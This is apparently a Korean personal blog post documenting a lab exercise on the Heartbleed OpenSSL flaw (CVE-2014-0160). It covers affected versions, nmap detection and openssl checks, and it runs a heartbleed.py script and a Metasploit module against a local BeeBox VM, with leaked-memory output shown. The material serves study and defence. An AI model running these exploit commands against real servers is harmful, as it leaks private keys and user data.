EASY7

CVE-2014-0160 OpenSSL heartbleed 하트블리드 취약점 본문

보안 공부/취약점 실습

CVE-2014-0160 OpenSSL heartbleed 하트블리드 취약점

E.asiest 2019. 9. 22. 22:47

하트블리드 취약점

SSL/TLS의 오픈소스 라이브러리인 OpenSSL 에서 TLS heartbeat를 잘못 구현하여 나타난 취약점.

Heartbeat란 클라이언트와 서버 간의 연결 상태를 체크하기 위한 OpenSSL 확장 모듈이다.

하트비트라는 확장 모듈에서 클라이언트 요청메세지를 처리할 때 데이터 길이 검증을 수행하지 않아, 시스템 메모리에 저장된 64kb크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있는 취약점.

 

<OpenSSL>

키를 이용해서 암호화통신을 함.

공격자가 키를 얻을 수 있고, 암호화되지 않는 상태로 읽을 수 있다. 또한 다른 사람 행세를 하며 서버에 침입할 수 있다.

 

 

관련 CVE정보

CVE-2014-0160

 

 

 

취약한 OpenSSL 버전 & 영향을 받지 않는 버전

**취약한 OpenSSL 버전(참고 : CentOS에서 yum을 이용해 OpenSSL를 설치한다면 취약한 버전에 해당해도, 패치된 버전일 수 있다.

-OpenSSL 1.0.1 ~ OpenSSL 1.0.1f

-OpenSSL 1.0.2-beta, OpenSSL 1.0.2-beta1

 

**영향 받지 않는 소프트웨어

-OpenSSL 0.9.x 대 버전

-OpenSSL 1.0.0 대 버전

-OpenSSL 1.0.1g

 

 

보안 조치 방법

점검 방법

OpenSSL 버전 정보 확인 : openssl version -a

 

 

취약한 OpenSSL 버전을 최신 버전으로 업데이트하기

 

 

실습 1)nmap 으로 heartbleed에 취약한 버전인지 확인하기(CentOS 6, BeeBox)

실습 환경 : CentOS 6

 

1. CentOS6 콘솔에서 openssl 버전 알아보기

$nmap -d --script=ssl-heartbleed --script-args=vulns.showall -sV IP주소SSL서버

(참고 : nmap으로 heartbleed 버전 확인하려면 "ssl-heartbleed.nse"가 "/usr/share/nmap/scripts"에 있는지 확인해야한다. 구글에 치면 다운로드 가능하다. 또 tls.lua 가 /usr/share/nmap/nselib 에 있는지 확인해야한다. 구글에 치면 다운로드 가능.)

 

**현재 버전은 패치된 버전임을 알 수 있다.

NSE: [ssl-heartbleed 192.168.50.146:443] No heartbeat response received, server likely not vulnerable
NSE: [ssl-heartbleed 192.168.50.146:443] we're done!
NSE: [ssl-heartbleed 192.168.50.146:443] No heartbeat response received, server likely not vulnerable
NSE: [ssl-heartbleed 192.168.50.146:443] we're done!
NSE: [ssl-heartbleed 192.168.50.146:443] No heartbeat response received, server likely not vulnerable

 

 

**OpenSSL 하트비트 활성화 여부 확인

openssl s_client -connect domain.com:8443 -tlsextdebug -debug -state | grep -i heatbeat 

SSL_connect:before SSL initialization
SSL_connect:SSLv3/TLS write client hello
SSL_connect:SSLv3/TLS write client hello
Can't use SSL_get_servername
SSL_connect:SSLv3/TLS read server hello
depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com
verify error:num=66:EE certificate key too weak
verify return:1
depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com
verify error:num=10:certificate has expired
notAfter=Apr 13 18:11:32 2018 GMT
verify return:1
depth=0 C = BE, ST = Flanders, L = Menen, O = MME, OU = IT, CN = bee-box.bwapp.local, emailAddress = bwapp@itsecgames.com
notAfter=Apr 13 18:11:32 2018 GMT
verify return:1
SSL_connect:SSLv3/TLS read server certificate
SSL_connect:SSLv3/TLS read server key exchange
SSL_connect:SSLv3/TLS read server done
SSL_connect:SSLv3/TLS write client key exchange
SSL_connect:SSLv3/TLS write change cipher spec
SSL_connect:SSLv3/TLS write finished
SSL_connect:SSLv3/TLS write finished
SSL_connect:SSLv3/TLS read server session ticket
SSL_connect:SSLv3/TLS read change cipher spec
SSL_connect:SSLv3/TLS read finished
SSL3 alert read:warning:close notify
SSL3 alert write:warning:close notify

 

 

실습환경 : BeeBox

 

*BWAPP의 Openssl 이용해보기

1. Bee-box 콘솔에서 openssl 버전 알아보기

$dpkg -l openssl (우분투 계열 명령어)

openssl 버전은 0.9.8g-4임

 

2. nmap을 통해 취약한 버전인지 스캔하기

nmap --script ssl-heartbleed -sV -p 8443 172.30.1.60

취약한 OpenSSL 버전임을 나타냄

 

 

3. bee-box에서 다운로드 받은 heartbleed.py 실행해서 익스플로잇해보기

$python heartbleed.py -p 8443 172.30.1.60

데이터가 유출되며 취약한 서버임을 알려줌

Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 675
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 02 00 2B 00  ....#.........+.
  00e0: 05 04 03 04 03 03 00 2D 00 02 01 01 00 33 00 26  .......-.....3.&
  00f0: 00 24 00 1D 00 20 FA 4F F2 63 0D 60 5C 19 95 A8  .$... .O.c.`\...
  0100: C4 DC CC 95 B7 7A 58 62 24 D1 E1 36 D8 B2 16 24  .....zXb$..6...$
  0110: 47 44 4A 87 1E 7D 03 06 03 08 07 08 08 08 09 08  GDJ..}..........
  0120: 0A 08 0B 08 04 08 05 08 06 04 01 05 01 06 01 03  ................
  0130: 03 03 01 03 02 04 02 05 02 06 02 00 2B 00 05 04  ............+...
  0140: 03 04 03 03 00 2D 00 02 01 01 00 33 00 26 00 24  .....-.....3.&.$
  0150: 00 1D 00 20 51 40 6C FF 57 68 46 01 4F C1 2E 9A  ... Q@l.WhF.O...
  0160: 8C 7E 14 04 BB 63 F3 00 F4 A0 E6 7F D3 57 67 A2  .~...c.......Wg.
  0170: 86 E2 94 00 00 15 00 88 00 00 00 00 00 00 00 00  ................
  0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0200: 63 C0 3B 00 90 00 6A C0 A3 C0 5F C0 5E C0 4B C0  c.;...j..._.^.K.
  0210: 5D 00 73 C0 5C C0 38 C0 5A C0 59 C0 77 C0 57 C0  ].s.\.8.Z.Y.w.W.
  0220: 7E C0 55 C0 6F 00 1A C0 52 C0 4F C0 50 C0 4E 00  ~.U.o...R.O.P.N.
  0230: BF C0 1E 00 28 C0 4C 00 41 00 37 C0 45 00 50 00  ....(.L.A.7.E.P.
  0240: 8C C0 44 C0 42 C0 41 C0 40 C0 37 C0 3F C0 84 00  ..D.B.A.@.7.?...
  0250: 08 00 4C 00 85 C0 5B C0 36 00 B6 C0 35 C0 9D 00  ..L...[.6...5...
  0260: A8 C0 10 00 99 C0 33 C0 30 00 18 C0 AD 00 A1 00  ......3.0.......
  0270: 93 C0 2B 00 B3 C0 2A C0 29 C0 27 C0 03 C0 17 00  ..+...*.).'.....
  0280: 3A C0 22 00 0C 00 AB C0 21 C0 20 00 4B C0 1F C0  :.".....!. .K...
  0290: 4D 00 BA C0 1C 00 66 00 87 C0 1A 00 5A C0 18 C0  M.....f.....Z...
  02a0: 25 C0 16 C0 15 00 40 C0 14 C0 11 00 38 00 A0 00  %.....@.....8...
  02b0: B1 00 A4 C0 0E C0 0C 00 B4 00 AA C0 0A 00 1F 00  ................
  02c0: 3D C0 06 00 12 C0 26 C0 01 00 C5 00 C4 00 C3 00  =.....&.........
  02d0: C2 00 BE 00 BC C0 1D 00 92 C0 0F 00 AF C0 54 00  ..............T.
  02e0: AC 00 A7 00 A6 00 2F 00 A3 00 9E C0 3E C0 2C 00  ....../.....>.,.
  02f0: 91 C0 61 00 8B 00 21 C0 39 00 79 00 78 00 74 00  ..a...!.9.y.x.t.
  0300: 6B 00 44 00 61 00 5B 00 25 C0 19 FE FF 00 53 C0  k.D.a.[.%.....S.
  0310: 85 00 3B 00 39 00 35 00 33 C0 72 01 00 00 13 00  ..;.9.5.3.r.....

 

중략

WARNING: server returned more data than it should - server is vulnerable!


 

 

 

실습 2) 메타스플로잇 이용하여 익스플로잇하기

 

결과값

[*] 172.30.1.60:8443      - Leaking heartbeat response #1
[*] 172.30.1.60:8443      - Sending Client Hello...
[*] 172.30.1.60:8443      - SSL record #1:
[*] 172.30.1.60:8443      -  Type:    22
[*] 172.30.1.60:8443      -  Version: 0x0301
[*] 172.30.1.60:8443      -  Length:  86
[*] 172.30.1.60:8443      -  Handshake #1:
[*] 172.30.1.60:8443      -  Length: 82
[*] 172.30.1.60:8443      -  Type:   Server Hello (2)
[*] 172.30.1.60:8443      -  Server Hello Version:           0x0301
[*] 172.30.1.60:8443      -  Server Hello random data:       5d876997bdfd7091cdfba7319dc1b06a6aaa63c10dab9c7996519d5acbb63c43
[*] 172.30.1.60:8443      -  Server Hello Session ID length: 32
[*] 172.30.1.60:8443      -  Server Hello Session ID:        1f42298e4e82d2cd59d675cec220bb84424beece9bdeaec83cc1df145617fb9c
[*] 172.30.1.60:8443      - SSL record #2:
[*] 172.30.1.60:8443      -  Type:    22
[*] 172.30.1.60:8443      -  Version: 0x0301
[*] 172.30.1.60:8443      -  Length:  675
[*] 172.30.1.60:8443      -  Handshake #1:
[*] 172.30.1.60:8443      -  Length: 671
[*] 172.30.1.60:8443      -  Type:   Certificate Data (11)
[*] 172.30.1.60:8443      -  Certificates length: 668
[*] 172.30.1.60:8443      -  Data length: 671
[*] 172.30.1.60:8443      -  Certificate #1:
[*] 172.30.1.60:8443      -  Certificate #1: Length: 665
[*] 172.30.1.60:8443      -  Certificate #1: #emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE>, issuer=#emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE>, serial=#, not_before=2013-04-14 18:11:32 UTC, not_after=2018-04-13 18:11:32 UTC>
[*] 172.30.1.60:8443      - SSL record #3:
[*] 172.30.1.60:8443      -  Type:    22
[*] 172.30.1.60:8443      -  Version: 0x0301
[*] 172.30.1.60:8443      -  Length:  203
[*] 172.30.1.60:8443      -  Handshake #1:
[*] 172.30.1.60:8443      -  Length: 199
[*] 172.30.1.60:8443      -  Type:   Server Key Exchange (12)
[*] 172.30.1.60:8443      - SSL record #4:
[*] 172.30.1.60:8443      -  Type:    22
[*] 172.30.1.60:8443      -  Version: 0x0301
[*] 172.30.1.60:8443      -  Length:  4
[*] 172.30.1.60:8443      -  Handshake #1:
[*] 172.30.1.60:8443      -  Length: 0
[*] 172.30.1.60:8443      -  Type:   Server Hello Done (14)
[*] 172.30.1.60:8443      - Sending Heartbeat...
[*] 172.30.1.60:8443      - Heartbeat response, 13027 bytes
[+] 172.30.1.60:8443      - Heartbeat response with leak, 13027 bytes
[*] 172.30.1.60:8443      - Printable info leaked:
......].:.'.F..P...7O..S.?8.n.E......z..f.....".!.9.8.........5.............................3.2.....E.D...../...A.............................................4.2...................................................#.............A...............................#.............*.(.........................................+........-.....3.&.$... ..2...[.....JM............r.3..q............................................................................................................................................c.;...j..._.^.K.].s.\.8.Z.Y.w.W.~.U.o...R.O.P.N.....(.L.A.7.E.P...D.B.A.@.7.?.....L...[.6...5.........3.0.........+...*.).'.....:.".....!. .K...M.....f.....Z...%.....@.....8...................=.....&.......................T......./.....>.,...a...!.9.y.x.t.k.D.a.[.%.....S...;.9.5.3.r..................................................................................................................................... repeated 11966 times .....................................................................................................................................
[*] 172.30.1.60:8443      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

데이터가 유출됨을 확인.

 

SSL은 443인데 8443은 뭘까?

 

 

참고자료

실습 자료

https://jmoon.co.kr/164

https://sangwook.github.io/2014/04/08/openssl-heartbeat-heartbleed.html

https://www.youtube.com/watch?v=SSqiTBNKT9A

https://net123.tistory.com/547  -메타스플로잇 익스플로잇 정보

 

취약점 관련 자료

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884 -키사 보안 공지

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

 

 

 

 

 

 

'보안 공부 > 취약점 실습' 카테고리의 다른 글

CVE-2019-0708 RDP 취약점 BlueKeep 취약점  (0) 2019.10.26
path traversal을 통한 RCE  (0) 2019.09.26
ghost(CVE-2015-0235)  (0) 2019.09.10
Routing Table, ARP Table, MAC Table  (0) 2019.09.04
Race Condition 경쟁조건  (0) 2019.09.04
Comments